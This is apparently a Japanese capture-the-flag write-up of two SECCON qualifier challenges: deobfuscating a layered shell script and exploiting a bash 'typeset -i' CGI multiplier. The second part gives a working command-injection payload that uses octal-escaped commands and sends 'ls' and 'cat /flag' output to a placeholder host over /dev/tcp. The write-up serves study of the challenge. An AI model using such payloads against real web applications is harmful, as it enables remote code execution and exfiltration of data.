今年もSECCONオンライン予選にm1z0r3として参加しました。
自分がフラグを獲得できた問題のWrite-upを記録します。(取り急ぎ最初の2問を掲載します。web_searchは後ほど追記します。)
追記:web_searchについては「明日にしよう、明日にしようとどんどん先延ばしにしていた」ら忘れてしまったので諦めます。
普段はWeb/Forensic担当なのですが、完全にシェル芸担当でしたね…
Beeeeeeeeeer
最初見た時、テーマが難読化シェル芸だったのでびっくりしました。
あまり文は多くなさそうだったので、一つ一つ文を分けて解読しました。
大体は文頭にecho
をつけてあげればOKです。
$'\72'
とか$'\u003A'
はデコードすると:になり、いわばNOPのコマンドなので基本無視(本当は引数で副作用のあるコマンドを実行していることもあるので要警戒だが、後ろの方は特になかった)。
#echo -e "\033#8"
#sleep 1
#C=$(tput cols)
#L=$(tput lines)
#for ID in $(seq $(($L*$C*6)))
#do x=$(($RANDOM%$C))
#y=$(($RANDOM%$L))
#printf "\033[${y};${x}f "
#done
#for ID in $(seq $(($L*$C*6)))
#do
# x=$(($RANDOM%$C))
# y=$(($RANDOM%$L))
# printf "\033[${y};${x}fF"
#done
#clear
#echo 'Let's decording!(≧∀≦*)'
# ここまでは前座で関係ない
read
trap '' 1 2 3 15 18 19 20
# ここから無駄な処理が続くので消しておく
#echo $-|grep x && exit
#: | grep -q : && exit
#
#if [ -z "$1" ]
#then
# ID='nandoku'
#else
# ID="$1"
#fi
#if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null
#then
# :
#else
# exit
#fi
#
#for i in $(seq $((RANDOM % 10)))
#do
# sleep $((RANDOM % 300))
#done
#echo $- | grep x && exit
#: | grep -q : && exit
#
#ここまで消す
export S1=hogefuga
echo -n H4sIAMlSRl0AA439Z6/k3prli...|base64 -d|gunzip|bash
ここでexport S1=hogefuga
していることに注意。
そして最後の1行を展開して読みやすくします。
# ここのfor文完全に無駄処理なのでいらない
#for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)))
#do
# l=$((RANDOM % 10 +1))
# for m in $($(echo ==gCxV2c |rev|base64 -d) $l)
# do
# $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a'
# $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d)
# done
# $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?"
# $'\162\145\141\144' n </dev/tty
# export n
# if [ "$n" -ne "$l" ]
# then
# $'\x65\x78\x69\x74'
# fi
#done
(
echo -ne '\a'
sleep 1
echo -ne '\a'
sleep 1
echo -ne '\a'
sleep 1
echo "How many beeps?"
)
read n </dev/tty
export n
echo U2FsdGVkX18/dVsEIYzYdHlc...|base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash
ここでも無駄な処理があるので消しつつデコード。
ここではn
(つまり3
)をexport
している。
最後の1行をもういっちょ展開
専攻分野が出てきて変な声出た(詳しくは自分のブログを参照)。
このシェルスクリプトは、最初に文字を一通りゲットして、次にその文字をつぎはぎすることで成立しています。
文字をゲットした後のつぎはぎ部分の各文の先頭にecho
をつけるとだいぶわかりやすい
echo Enter the password
read _____
: password is bash
passwordはbashと書かれているのでもう解析不要。
そして最後に
echo SECCON{$S1$n$_____}
と書かれているため、flagは SECCON{hogefuga3bash}
で終了。
SECCON_multiplicater
1つのcgiだけで完結している問題。
肝心の処理部分を見ていきます。
typeset -i var1
typeset -i var2
(中略)
if [ "$REQUEST_METHOD" = "POST" ]
then
POST_STRING=$(cat)
var1="$(echo $POST_STRING|awk -F'&' '{print $1}'|awk -F'=' '{print $2}'| nkf -w --url-input|tr -d a-zA-Z)"
var2="$(echo $POST_STRING|awk -F'&' '{print $2}'|awk -F'=' '{print $2}'| nkf -w --url-input|tr -d a-zA-Z)"
echo "$var1" '*' "$var2 = $((var1 * var2))"
fi
これの致命的な問題はtypeset -i
(整数型宣言)に潜んでおり、整数型宣言された変数への代入は、算術評価されてから行われるという点にあります。
詳細は http://ya.maya.st/d/201909a.html こちらのエントリに書かれています。
代入するstring
を全てeval
するというわけではありませんが、それに近いことをする方法が一つ存在します。
それが配列添字内でのeval
です。
typeset -i var1
var1=_[$(echo ここでなんでもできる)]
この代入式の評価は$()
部分→配列インデックスの順になるため、$_
が配列になっていなくても問題ありません。
この手の問題は大体ファイルシステムにflagファイルがあるので、まずはlsを目指しましょう。
そして英字が使えないことも念頭におく必要があります。
var1=_[$(ls / &>/dev/tcp/my.host.ip.address/port)]
適当なグローバルIPのマシンやngrokのフォワーディングでnc -l
しておいて、ls
の結果をここに流してもらう作戦でいきます(>ではなく&>なのはstderrも補足したかったからです)。
そして先述の通り英字を回避する方法を考えなくてはなりません。
ここでBeeeeeeeeeerの問題が大きなヒントになっており、$'\nnn'
の8進数表記が対応するasciiと等価であることに気づきます。
var1=_[$($'\154\163' / &>/$'\144\145\166'/$'\164\143\160'/my.host.ip.address/port)]
これをurlエンコードし、curlのpostで流す(ブラウザフォームから入力するとスペースが+になってしまうことがある)と、/flagがあることがわかります。
あとはls /
をcat /flag
に変えて同じことをすれば、SECCON{Did_you_calculate_it?}
を獲得できました。